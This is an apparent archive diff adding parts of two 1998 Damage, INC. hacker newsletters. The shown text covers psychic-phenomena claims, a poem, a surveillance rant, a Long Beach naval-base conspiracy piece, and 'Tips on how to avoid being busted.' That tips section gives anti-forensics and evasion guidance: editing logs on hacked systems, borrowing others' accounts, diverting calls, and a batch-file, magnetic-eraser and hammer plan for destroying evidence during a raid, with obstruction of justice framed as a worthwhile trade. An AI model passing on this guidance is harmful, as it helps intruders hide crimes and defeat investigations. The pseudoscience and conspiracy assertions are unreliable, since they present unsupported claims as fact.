exhilaration associated with this + technique is *unparalleled*. + + 4. Remote Viewing. + This was the subject of my earlier article. With enough practice + in meditation and astral-projection, remote viewing can become an + entirely viable activity for any student of the psychic phenomena. + When you remote-view, your body stays in one place, while your mind + traverses the universe, unbounded by space and time. Simply by + wishing yourself somewhere you can be instantly transported there. + You can see past events as if you are right there while it happened. + It is as if you are at a huge library of everything that ever occurred + in the universe, and you can pick any experience you want. When the + army attempts to utilize transcendental experiences like this for + military gain, you can understand why certain disaster occurs! + + 5. Hypnosis/Mind Control + Hypnosis is something which, for the most part, is readily accepted by + society. Its full power is not yet realized though. Hypnosis is the + process by which one person, well-versed in the subject, uses his/her + abilities to transport another person into an ASC. From this point, + the "subject" is in a very suggestible state, and can be made to do + anything, believe anything that the hypnotist desires! The fact that + one human can control another like a puppet should scare the living + shit out of us. But it doesn't. Why do you think that is? + + 6. Channeling + I have read books channelled from entities beyond our dimension. + Sound like science fiction? Think again. As indicated, channelling + is essentially when a human being "lends" his/her body to a separate + entity for the purpose of communicating a message. Usually the + channelled being is of much higher awareness than we can know. But + that is why they visit. To bring us closer to awareness. To put into + words information which is not currently known to our consciousness. + This is similar to automatic writing, whereby a writer experiences a + force "taking control" of the pen, and writing whole books while the + writer is under trance. Consult the list at the bottom if you are + interested in reading a channelled book. + + 7. Parallel Universe Theory + Without totally confusing you, I want to enlighten you as to some of + the current ways modern science has accepted the existence of psychic + phenomena. One of these is the parallel universes theory. This + describes our physical universe as but one of an infinite amount of + universes, each one unique. Every action is broken down into choices, + and the different outcome of each choice is manifested as a new, + "potential" reality. On the sub-atomic level, it is believed that at + every instant a photon has the option to go one of two different paths, + two different universes will be created, each identical except that in + one the photon went left, and in the other it went right (for example). + The basis is that *every* possibility, every permutation of events must + exist in a separate universe, each independent of the observer, (the + person perceiving the events). + + 8. Holographic Universe Theory + This is similar to the parallel universe theory, with some minor + differences. The idea of infinite universes still holds true, but + the concept of "macrocosm-microcosm" comes into effect. What that phrase + refers to is the oneness of everything. If you know how a hologram + works, you'll be on your way to understanding this new belief. A + hologram reflects images in 3D. An interesting characteristic of + holographic plates though, is that when you shatter one, each piece + still shows the whole picture. The *whole* picture is stored in every + tiny fragment of the hologram. With one minute particle of the + hologram you could reproduce the entire picture, in 3D. Take that + principle and apply it to our universe, and you'll start to appreciate + the validity of these newfound perception's on life. + + 9. Synchronicity. + I thought I would put this in here. Some of you may have heard of it, + are familiar with the principles of synchronicities (The term was + originally coined by Jung). Those who are not, have at the very least, + had one experience with it. A synchronicity is kind of like a bizarre + coincidence. Sometimes it is more easy to recognize. For example, + lets say you learned a new word at school one day; you'd never heard + this word used ever before. That night you hear it twice on TV, then + the next day the book you're reading has the word in it. Most people + would hopefully see the "coincidence" in that experience. I am telling + you it is not a coincidence, but actually a simple example of the + forces at work in our universe. Synchronicities occur because true + information exists beyond the physical world. Every thought, every + word you say has its own electromagnetic reality. The reoccurrence of + the word is nature's way of telling you "Wake up! Life is incredible!" + + 10. Why wait? Go buy or rent one of these books today. + Interesting Books... + Seth Speaks(channelled), God and Quantum Physics, Shrodingers Cat, + Shrodingers Kitten, The Holotropic Mind, The Art of Dreaming, + Holographic Universe, Guide to Meditation. + Interesting Authors... + Carlos Castaneda, Jane Roberts, Edgar Cayce, Michael Talbot, + Robert Anton Wilson, C.C Jung, Timothy Leary, Isaac Asimov, + George Orwell. + +Written by The Journalist ú Damage, INC. (C)opyright 1998. + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +"A Few Simple Questions": + + + There are those around us that are ignorant and lost, + That won't offer an opinion, no matter what the cost. + They turn a deaf ear to the most logical suggestions. + They are too scared to answer a few simple questions... + + "A Few Simple Questions" + + Big Brother and his cameras are all over the place, + tracking all motions, and recording your face. + Why is our right to privacy dead? + In the name of crime, which the frail people dread. + + Why are those in power always suspicious, + assuming that we are doing something malicious? + And yet in their integrity we are told to trust? + Ignoring their scandals, kickbacks, and lust? + + Who are the victims of "society's" greed? + The hungry and tired, the people in need. + What do the affluent say with great glee? + "By making them suffer, there's more for me." + + Why is that when good workers are fired, + the stock market bulls its way higher? + Do you feel this practice is sick and depraved? + For man is not a commodity or slave! + + Why do most people put up with corruption? + Not seeing that it leads to destruction. + Maybe it is because they are gullible and naive? + Or is it perhaps they just don't want to believe? + + Do you believe in everything you've been taught? + Never to question, or have a free thought? + To make you conform, they will wash your brain. + Your only defense is to go against the grain. + + Don't those that have absorbed "society's" goals, + realize that they've given up their souls? + They are like ants in a colony, or an expendable soldier. + Unquestioningly following every edict and order. + + For those honest men whom believe in what's right, + must find their deep courage, stand up, and fight. + Will virtuous free thinkers answer the call, + before this diseased "society" imprisons us all? + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Vicious Closing Comments: + +With large networks, new types of systems and new technology emerging rapidly, +we have the opportunity to learn and do more than the early hackers and phreaks +ever dared dream of. They were only limited by what was at their fingertips. +However, the only limit that we have is our minds. There have been massive +changes in h/p since the 1970s and 80s but the basics remain the same. There +has been an influx of newbies, an internet explosion (FTP, Web Sites, IRC +channels, newsgroups etc.), faster systems, modems, more operating system and +software choices etc. and countless other changes directly relating to hacking +and phreaking. The only constant is that there are still many people involved +in the h/p scene... and that will never change. In fact, there's more h/p +support and better distribution than ever before. Information is easily +accessible. Plus, there are more Unix systems now than in the past, with ISPs +popping up all over the place. I've heard newbies bitching, crying and +complaining about "not BBSing in the early days of h/p when everyone shared +information, text files, codes etc." Haha. They don't even realize that much +more information is available to them right now than what existed back then. +Newbies can leech from the internet (for free), h/p boards (no ratio) etc. They +can read text files and magazines that were written by h/p groups from all over +the world... and they don't even have to phreak to be able to download them. +There is a tremendous difference between "now" and "then". Newbies can now +leech some excellent utilities that weren't previously available or distributed +worldwide. In 1998, we have systems that are powerful enough to use decryption +programs etc. without taking days to complete the task... as an example. ;) +We can even dial h/p boards via Telnet. Technology is constantly evolving +right around us. Don't just sit back and be a passenger that's along for the +ride. Participate, become actively involved and contribute to the h/p scene. + +Explore your mind. Develop its power. Experiment and discover the true meaning +of h/p. It's an art. You must be creative, talented and artistic. You can't +rely solely on pure intellect, memorization or the ideas of others to learn. +You can't wait for someone else to take the initiative for you. You shouldn't +expect others to teach you what they know. Eliminate your linear, structured +way of thinking. Instead of just examining objects of technology that you don't +yet understand on the surface, look closer and try to learn ways to use it +that aren't known. Culture your knowledge like growing, multiplying bacteria. +Immerse yourself in information and absorb it through osmosis. Then associate +with people in the scene that are enlightened and have the same level of +knowledge. I hope that you've enjoyed reading this March issue. If you've +managed to learn something new, that's cool. If not, phreak off. ;) + +We're always looking for Writers, Members and Distribution Sites. If you'd like +to apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. If you want any of our releases, they +are currently available (at no ratio) on the following boards: + +...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. +Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. +Distraught Continuum - h/p/a/c/v/t, programming, etc. + +Any feedback or letters to the editor should be sent to BLACKENED in Email on +a Damage, INC. board near you. I can also be contacted via Echomail/Netmail +in several nets. + +- FADE TO BLACK diff --git a/textfiles.com/groups/DAMAGEINC/damage.008 b/textfiles.com/groups/DAMAGEINC/damage.008 new file mode 100644 index 00000000..f1a0d582 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.008 @@ -0,0 +1,2110 @@ + + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ + ÍÍÍÞÛÛÛ ÛÛÛÍÞÛÛ ÛÛÛÍÞÛÛ ÛÛÝÞÛÝÞÛÛ ÛÛÛÍÞÛÛ ÍÍÍÍ ÛÛÜÜÜ ÍÍÍÍÍÞÛÝÛÛÝ ÞÛÝÞÛÛÝÍÍÍÍÍÍ +ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ + ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ + "The name speaks for itself!" ÞÝ + + Presents the + + Damage, INC. Newsletter + + April 1998 Issue #8 + + "We keep you honest." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - Old civil rights killed by new technologies. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Tips on how to avoid being busted. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - Red Long Beach: China controls naval base. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Billy Gates and his Overwhelming Need for Greed. + ¯ Search String: {GREED} + +þ DRUGS DISCUSSION - The Existence of Drugs in Our Culture. + ¯ Search String: {DRUGS} + +þ H/P INFORMATION AND NEWS - Looping the Loop in your area code. + ¯ Search String: {H/P} + +þ INTERVIEWS AND INTERROGATIONS - An Interview of THC Phreak. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. + ¯ Search String: {LETTERS} + +þ OBJECTIVE OPINIONS - The Consequences of Cloning Humans. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Caller ID Specifications. + ¯ Search String: {REPORTS} + +þ SOURCE AND SCRIPTS - Linux Sniffer source code. + ¯ Search String: {SOURCE} + +þ THE JOURNALIST'S TOP TEN LIST - Drugs and their effects. + ¯ Search String: {TOP TEN} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - Weakness and Strength. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - Shatazar's Inaugural Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +< DISCLAIMER > + +All articles contained in the Damage, INC. Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal acts +committed etc. by our readers. If/how you use the information given is entirely +up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be included with any other releases. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, do *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards only. + + Copyright 1998 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: Greetings to our loyal readers that continue to seek the honesty + and truth that is in the Damage, INC. Newsletter. In a world + that is engulfed in a thick fog of lies, corruption, and + hypocrisy, honesty is the bright torch that dispels the darkness. + Unfortunately, the fog that surrounds us can also be within a + person. When a person believes the lies, ignores corruption, and + tolerates hypocrisy, his or her mind is lost in darkness. Only + honesty and the truth can burn through the fog, enlightening that + person's mind, allowing him or her to expand and grow stronger. + However, the torch of honesty can only be grasped by a person + that wants to obtain it. + + Each individual must choose whether they wish to be a zombie or + an enlightened human being. For those that choose to learn the + honest truth and to grow outwards as a person, the Damage, INC. + Newsletter is intended to be a torch to help you on your journey. + How you interpret the words within, and whether you agree or + disagree with our thoughts and opinions is up to you. As long as + you kindle new found knowledge that was presented to you with + honest intentions and allow it to burn within you, the truth will + be within your grasp. If you accept the truth, you can begin to + dispel the fog that may have been planted in your mind. It + depends on how hard you will work and fight to learn the truth. + + +BIG BROTHER BASHING - {BIG BROTHER} +Old civil rights killed by new technologies. + +Canadian Charter of Rights and Freedoms; Section 8: + "Everyone has the right to be secure against unreasonable search or + seizure." + +Fourth Amendment to the Constitution of the United States of America: + "The right of the people to be secure in their persons, houses, papers, and + effects, against unreasonable searches and seizures, shall not be violated, + and no Warrants shall issue, but upon probable cause, supported by Oath or + affirmation, and particularly describing the place to be searched, and the + persons or things to be seized." + +Protection against unreasonable search and seizure. Well-meaning passages +written with the best of intentions. They are designed to prevent citizens, and +their possessions, from being frisked without reason by powertripping police +officers. To a much lesser extent, they prevent the government and its +bureaucracies from invading a citizen's privacy. However, these "protective +clauses" were written for tactics used in a different era. In days when there +was no recourse for the police, but to physically frisk someone or search a +building. New technologies have changed all that. It is now within the Thought +Police's power to literally see you naked, with the exception of any other +foreign objects you may have near your body... without you even knowing about +it. + +In 1996, Millimetrix Corp. developed what they call a "Passive Millimetre +Wave Imager" (PMWI). It allows a cop to "read" the electromagnetic waves that +all human beings broadcast. The electromagnetic waves goes right through +clothing, but objects like concealed weapons, certain packages, etc., block the +waves. Two versions of the PMWI were developed by Millimetrix. A larger +version is designed to be placed inside of a police cruiser. By looking at a +little monitor installed in his dashboard, the cop can scan a large group of +people before he gets out of his car to confront them. A battery powered, +hand-held unit was also developed so a cop can virtually strip the clothes off +of one person, or a large group of people while on foot. + +Whom do you believe gave Millimetrix Corp. the funds to develop this +privacy-intrusive technology? Big Brother of course. The United States' +National Institute of Justice them granted $2.1 million US in order to "protect +the United States from terrorist attack." In my opinion, that kind of rhetoric +is Big Brother using the "protecting society from crime/terrorism" line again. + +However, unwarranted searching technologies like PMWIs aren't exclusively in the +hands of anti-terrorist agencies. They have given them to ordinary, uniformed +officers and installed them in police cruisers. The "boys and girls in blue" +are assigned to monitor and bust *us*, not to stop terrorist groups from +destroying the "valuable" properties owned by Big Brother and big business. + +A tremendous bonus for the police is the fact that the PMWI can operate up to 27 +metres away from the victim of his unwarranted search. The PMWI can also see +through walls to further invade the privacy of all citizens that are under the +surveillance of Big Brother. Millimetrix Corp. is quick to point out that the +PMWI offers "some privacy." After all, it "does not reveal intimate anatomical +details of the person." It allows a cop to perform a body search without the +knowledge of the citizen, yet it stops a perverted one from being a virtual +`peeping Tom.' Now Big Brother and his cohorts are telling us in essence that +there are "varying degrees of privacy." Huh? How it is possible to have +varying degrees in privacy? Something is either private, or it is not. Of +course you are entitled to your own opinion. + +Big Brother's message to the zombies in "society" therefore equates to "do as I +say, and you will *not* do as I do." Do you think that the majority of people +in "society" have bought into this blatant hypocrisy? Oh hell yes! :-( While +doing research for this article, I found the results of a survey from the Los +Angeles Times. The respondents were asked if they would "curtail some `civil +liberties' if it would help thwart terrorism." Fifty-eight percent said yes, +they would willingly surrender their civil rights to Big Brother. An additional +13 percent said "it would depend on what rights were at stake." Whether the +survey was doctored by the Los Angeles Times on behalf of Big Brother, or is +legitimate, the result will influence many people to go with the grain and agree +with the majority. + +Let's burn through the rhetoric and lies that Big Brother spreads in an attempt +to brainwash all citizens. In truth, the Constitution, the Bill of Rights and +the watered down Canadian equivalent, the Charter of Rights and Freedoms, and +the court's fleeting adherence to them is Big Brother's largest road block. Big +Brother wants to limit our actions and thoughts in order to control us. By +buying into the overblown fears of terrorism, Big Brother's supporters within +"society" have allowed Big Brother to slice away at our constitutional rights +until they are virtually meaningless. I feel the "majority of people" should +not be so paranoid about terrorist attack. Big Brother is more of a threat to +their quality of life than any terrorist could possibly be. Unless the wish of +the "majority" is to live in the oppressive totalitarian state that Big Brother +is creating. :-( + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Tips on how to avoid being busted: + +These are only basic tips on how to avoid being busted. Some of them are +based upon my personal experience, some of them are used by others, and the +remainder are just ideas. You must use your own common sense and judgement. +I am by no means promoting, advocating or condoning hacking/phreaking. In +fact, the following tips can be applied to other activities that are totally +legal if you just want to protect your privacy. They're for informational +purposes only. If you want to hack or phreak and apply them to that, then +it's your choice and you are free to do so. However, Damage, INC. isn't +responsible if you use these techniques, do something illegal and get busted. + +I would advise that you always be cautious, h/p safely and take any measures +necessary to ensure that you aren't being traced though... if you are going +to get involved in hacking and phreaking. Always remember that "ignorance of +the law" and "being a newbie" aren't acceptable excuses to law enforcement. +They will bust you, regardless of what excuses you make, your level of +experience or the amount of years that you've been involved in h/p. In fact, +many of the people that are getting busted are newbies. Most of the others +think that they're invulnerable, due to their ego and pure arrogance. Don't +allow that to happen to you. Don't get sloppy, make stupid mistakes, and be +easily traceable. Read every article that you can relating to being busted +and how to avoid it. You can learn and benefit tremendously from reading +about someone else's bust experience, and thus avoid foolishly repeating the +exact same mistakes as they once did. If you are arrogant and think that you +don't need to know about protection against being busted, then you're on your +own and can say "I wish I knew then what I know now." or "I wish I hadn't done +that." from behind bars. Either way, you'll only have yourself to blame. + + +Section 1: Trust. + +Trust is such a small word, is often overlooked and yet in reality it's the +basis of everything. Trust is also the most important thing of all. If +possible, trust no one. Meaning, don't tell people about your h/p activities +and trust them with that information. Don't brag to other hackers/phreaks +(or anyone else for that matter) either. In fact, you shouldn't even tell your +personal friends certain things (especially not over the phone). ;) If you +do that, then you risk getting busted. It's not necessary, so why put yourself +at risk? Plus, they could rat you out if they happen to get busted... in +exchange for a lighter sentence (making a deal, plea bargaining). If you can't +abide by that rule/tip, then be *very* careful about who you trust and what +information you trust them with. I realize that it's difficult not to trust +anyone, but it's the safest method with certain sensitive (illegal) information. +There are certain documents etc. that you shouldn't distribute to others under +any circumstances. + +If you have known someone for the majority of your life, then you should at +least consider limiting your trust of them. Trust should never be given out +quickly and easily. Don't just trust them with everything. Otherwise, it +could come back to haunt you. You cannot predict whether or not someone that +you 'trust' will betray you in the future. Obviously, each person's situation +is different. Always try to use good judgement. Think of the possibilities, +consequences etc. before you entrust someone with specific information that +could lead to you being busted. Don't give out access freely to anything that +could be used against you as evidence. That includes your system, files, codes, +detailed stories describing what you've done and anything else that you think +*might* turn out to be harmful to you. Basically, be careful with what you type and +and say in voice conversations. Sometimes your friends can be enemies willing +to testify against you. Never forget that. + + +Section 2: Encryption. + +Is encryption safe? Is it reliable and fool proof? Can they bust me, decrypt +all of my data and use it in court as evidence against me? If encryption won't +protect me then should I bother to encrypt files? In this section, I'll attempt +to answer these important questions. However, if you want more information then +I suggest that you read and learn more about cryptography. + +Some methods of encryption aren't "safe" to use, thus they should be avoided. +*Any* encryption that conforms to standards set by the government is unsafe. +If you suspect that you're using an encryption program that abides by the +government standards, quit using it immediately. Then find out which ones don't +and switch to that one. Make absolutely sure that you know it doesn't conform +before you start relying on it. In other words, do some research first. + +However, regardless of what type of encryption you use, your data still isn't +completely safe and secure anyway. Why not? The reason is that it relies on a +password. That is the weakest link in encryption, and that's what will be +first attacked by law enforcement and then exploited. So, even if you've +encrypted your entire hard drive, backups etc. they can still use brute force +to decrypt it and access everything. Meaning, they'll simply use password +cracking utilities to do the job for them. Also, keep in mind that they'll +confiscate your computer system and anything computer related near it... which +gives them an unlimited amount of time to work on it. That's what search and +seizure means. Just because you don't keep information (codes etc.) in +plaintext files or written down on paper etc. doesn't mean that you're safe. +Just as, if you think a long password (as an example, one more than the typical +8 characters password that many people use) is going to protect you, then +you're wrong. It won't stop them. No encryption offers total protection and +security... not even 128 bit. Even so, you should encrypt lists of codes and +anything else that you feel could be used against you. It won't keep all prying +eyes from reading and/or accessing it but at least it offers minimal security. +You can also use encryption in combination with programs/devices that will +destroy the encrypted data in a bust situation. More information on that will +be mentioned in the following sections. + + +Section 3: Precautions and Prevention. + +Obviously, you want to prevent yourself from ever getting busted. If you hack +or phreak, you don't want to be detected and traced. How does one avoid +detection? What precautions should be taken? What methods are "safe"? What +does stealth mean? Are these measures really necessary to protect myself and +my privacy? In this section, I'll answer those important questions and also +give you some other sources of reliable information to consult. + +First, the importance of prevention cannot be overstated. If you actively work +and think of ways to prevent yourself from being detected, then your chances of +actually being busted will be decreased significantly. Your motivation to do +this should be the fact that if you're actively involved in h/p and you take +no steps to avoid detection, then eventually you'll end up serving time due to +your own arrogance and ignorance. Don't let your ego cloud your judgement. +Never assume that it'll never happen to you. Logic dictates that anyone that +hacks/phreaks can be busted, regardless of what level you're at, how much you +think you know, how popular and well known you are in the h/p scene. So, we +encourage you to take these steps to avoid being detected and busted. That's +not an easy task though, so don't become overly confident. Constantly being +stealthful requires a lot of effort and thought if you're going to be successful +at remaining undetected and anonymous while hacking/phreaking. Here are a few +tips to consider following: + + +-/- Don't have phone lines etc. installed in your real name. Make sure your + number is unlisted as well. + +-/- Don't give your real name, address, phone number etc. for any accounts on + networks. That includes ISPs, if you pay for accounts. I'd advise that you + borrow other people's instead though. + +-/- Don't dial anything directly that you're hacking. Always divert and dial + through multiple things like networks etc. to prevent being easily traced. + +-/- Always examine and edit all logs on the systems that you hack. Make sure + that copies of the logs aren't sent elswhere on the system. Look for + email daemons on admin accounts etc. Not all systems are the same and + use default paths, so be careful. + +-/- Avoid attending all of the hacker conventions (like Defcon etc.), and be + aware of the fact that they're monitored. Don't become too "well known". + Popularity is good for your ego, but obviously makes it easy to identify + you. + +-/- Don't get caught up in socializing with other hackers/phreaks and give them + personal information about yourself. Never assume that they're not being + investigated or won't rat you out. Many hackers are caught because someone + else they know got busted and cooperated with the law enforcement + authorities. So, be careful not to give out your phone number, real name, + address, information about what you're hacking etc. to people. Hackers + often setup or turn in other hackers. Many have worked with law enforcement + after they've been busted...and help catch whoever they're told to. So, + be stealthful whenever possible. + +-/- Don't transit personal data to other systems. That includes ones that + you've hacked. Never store documents or "trophies" taken from other systems + that you've hacked on an insecure system. They can trace it back to you if + you do that. They can find out where you've called, check those systems, + find the files and that's proof enough of where you got them from. + +-/- Use different handles/aliases/login IDs on systems when you setup accounts. + That way, it won't be so obvious and easy for them to link together. + +-/- Keep your hacking activities seperate from everything else. If you use + computers at a University, or a network, for normal use, don't use the same + systems for hacking purposes. Check around for and be aware of cameras + whenever you're using a system in a lab. Also, if you do go to remote + locations to hack/phreak, don't follow any regular schedule. Be observant + and watch for anything or anyone that seems out of place. If something + isn't right, leave. Sometimes law enforcement will figure out that you + use systems or phones at certain places, and wait there for you to arrive. + +-/- Don't become predictable. Falling into the trap of doing the same things + from the same places and getting too "comfortable" with your surroundings + can end up being your downfall. Never assume that you're safe. If at all + possible, move to different areas. If you live in the same place for too + long, then it's simple for them to track you down. Plus, with the same + phone number, they can log all of your outgoing calls etc. easily. + +-/- Be careful with which PBXs, extenders, loops, other codes you use. Learn + about ANI. Also, if you're using an extender or loop to divert, be sure + to check it several times by dialing an ANI to be certain that it can be + used as a working diverter. Dialing through multiple extenders that divert + may not be enough. In fact, it may even harm you. + +-/- Be careful when using any outdials etc. and know what you're doing. + +-/- Don't get into carding, malicious hacking etc. It'll only lead to you + getting busted. If you're already involved in that, quit now. + +-/- Never destroy or edit any data on systems you've hacked into unnecessarily. + That means, only edit logs etc. to cover your tracks and leave the rest + as is. + +-/- Don't use IRC to chat with your friends in channels like #519, #warez etc. + If you associate with lamers like that, then you'll eventually get caught. + Avoid using the same alias while on the net. Again, be stealthful (or + completely anonymous) if at all possible. If you can access the net + anonymously, spoof your IP, etc. that still may not be enough if they + they really want to get you. Plus, IRC is logged and monitored. + +-/- Data/Voice numbers that you dial using your modem/phone can be used to + track you down... regardless if you move. If you dial the same numbers + (a friend, a certain system, a certain BBS, whatever) frequently, that + data is recorded. Therefore, even if you've moved several times to + different cities/states/provinces, the telco can still trace you because + of that. They can just cross reference it with all of the incoming calls + to that particular number. They can also question the person that owns + that line. + +-/- Learn how to check your line for taps. Take any measures that you can to + make sure that it's secure physically. By that, I mean look at it and + see if it's been tampered with etc. and learn more about meausures that + you can take to protect it. + +-/- Be observant. If you think that you're under surveilance, then take the + steps discussed below about destroying data. + +There are quite a few other things that you can do to avoid being detected and +busted. Agent Steal had a few interesting ideas in his Phrack article that are +hardware based. One was what he referred to as a Stealth Box. It actually +isn't that complex and doesn't require a lot of electronics knowledge. You +need two modems etc though. ;) There are many other things that could've been +included in this article, but it's already quite lengthy. + + +Section 4: Destruction of evidence. + +I'm not advocating or encouraging obstruction of justice. However, if you are +about to be busted and feel the need to destroy any so-called "evidence" that +may exist on your system, here are a few ideas. + +First, hopefully your sensitive data is already encrypted. It's not a good idea +to store codes, documents etc. in plaintext format. Second, you'll need to +have a copy of the NUKE utility by Damage, INC. in your path. Third, you should +create a BUST.BAT file that includes commands such as "NUKE C:\STUFF\*.*" for +the areas that the files you want to nuke are stored in. The batch file just +makes the entire procedure much quicker, which can be crucial in critical bust +situations. If said files are encrypted (with non-standardized, non-conforming +encryption), then nuked by NUKE... most likely the feds won't be able to use any +of it against you. However, they can charge you for obstruction of justice but +that's minor in comparison. Of course, it all depends on what they *could've* +burned you with. So, it's a tradeoff in a sense. Another good idea is to have +a bulk magnetic eraser mounted next to your hard drive. Put a switch close to +your computer, so that it's easily accessible. Or, even better than that, +install several switches for it in different locations and you can activate the +device from more than one room. Agent Steal's article in Phrack mentions doing +the same thing, among others. I've personally seen/used bulk erasers before +and know how quickly they'll erase data when the hard drive is powered up and +spinning. ;) The last resort is to use a steel hammer to physically smash the +hard drives. Even if you're desperate and time is running out (ie, the feds are +breaking down your front door), you should still have the necessary seconds to +execute those saving actions. I recommend that you have everything setup and +ready to use in case of a bust. Afterall, if you're not prepared then it's too +late to do anything when you're taken by surprise. That's why people get busted +and their systems are confiscated with everything still intact. Basically, you +have two options at that point: Let them take your system, get a lawyer, and +try to fight them in court... Or, do everything in your power to destroy the +evidence, obstruct the investigation any way that you can and face the lesser +charge of obstruction of justice. + +In closing, I recommend that you read Agent Steal's article in Phrack issue #52 +on getting busted. Minor Threat also contributed to it. Their first hand +accounts and experiences with the court/prison system are a must read. It's +accurate and contains some excellent information. Obviously, Damage, INC. hopes +that you've learned something from reading this article and wishes that you none +of you get busted. However, some of you will. If you are busted, don't rat out +your friends. Only scum...the lowest of the low would do that to save their own +ass. My final words of advice to you are: be wise, be stealthful and extremely +cautious. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Red Long Beach: China controls naval base. + +As many people know Communist China is a place where free thoughts land Chinese +men and women in prison (slave) camps, and expressing them earns the person a +bullet (paid for by the surviving family) in the back of the head. China +is the enemy of the United States of America and its allies. In fact, they +are conspiring with Russia to create their own world order. However, that is +the subject of another article. + +Despite the fact that the Chinese communists hate our way of life, and openly +instigate conflicts, like the "war games" scenario off the shores of Taiwan, +"democratic" countries continue to cut economic trade deals with them. It is +sickening how hypocritical the United States and Canada are when both bring up +human rights whenever they sign the latest multi-million or billion dollar deal +with Red China. By supporting them economically, countries that trade with +China are also supporting the oppression the communists impose on the Chinese +people. There have been some extremely disturbing "side deals" that have come +to light. One deal centers around a closed U.S. Naval Base in Long Beach, +California. With the support of president Bill Clinton, the Long Beach Naval +Base has been refitted and leased to the China Ocean Shipping Company (COSCO). + +This conspiracy started in 1991 when George Bush decided that the Long Beach +Naval Station should be shut down in order to save money. In 1993, Bill Clinton +finished what Bush started by making sure that the naval base was permanently +closed. That decision lead to a loss of over 17,500 military and civilian jobs, +and crippled Long Beach's economy. There was little interest in the abandoned +base until the end of 1995. The Chinese got involved during a period of time +when the Clinton-Gore campaign was heavily involved in fund raising. Clinton +and his administration secretly attempted to setup a sweet lease deal that would +"entice" COSCO to take up residence in the old Long Beach Naval Station. The +Secretary of the Navy turned over control of the closed naval base to the City +of Long Beach, which had an estimated value of $65 million, free of charge. +Taxpayers in Long Beach paid approximately $200 million to convert the naval +base into a cargo port. The city then turned around and leased the naval base +to a foreign shipping company that is owned and operated by Communist China. +The communists have signed a 10 year lease at the cost of $14.5 million per +year. The lease also gives the communists the option of forcing the City of +Long Beach, at their expense, to develop an additional 150 acres of the old +shipyards. + +I believe that China told Clinton what they wanted, in this case the Long Beach +Naval Station, and Clinton accommodated them without any delay or red tape. I +have some facts that prove that the Clinton administration has links to the +Chinese. Many powerful Democrats tried to coverup the fact that they took +campaign donations from prominent Chinese that operate within the United States. +When the Chinese contributions were revealed, the Democrats desperately attempt +to seek forgiveness from the American people. House minority leader Richard +Gephardt, Senate minority leader Tom Daschle, and others claim to have refunded +these communist payoffs. Also, if Clinton and his administration were not under +the influence of the Chinese, then why would they choose not to investigate +COSCO with the National Security Council, the Navy, or the CIA? That is exactly +what happened. To quote a White House spokesman named Lanny Davis "there seemed +to be no reason to check with the National Security Council on the decision." +Clinton didn't want his sweet Chinese deal compromised by the NSC or the CIA. +Meanwhile, COSCO was caught smuggling Russian AK-47s into Oakland, California. +A COSCO liner rammed into a busy New Orleans boardwalk. Luckily there were no +fatalities, but 116 people were injured. COSCO also admitted to dumping 640 +tons of raw waste into the ocean instead of taking it to China. In 1993, the +U.S. Navy spied on a COSCO ship that they believed to contained chemical weapons +components when it entered the Persian Gulf. In 1992, COSCO was fined $400,000 +for attempting to bribe U.S. officials in order to avoid paying tariffs on the 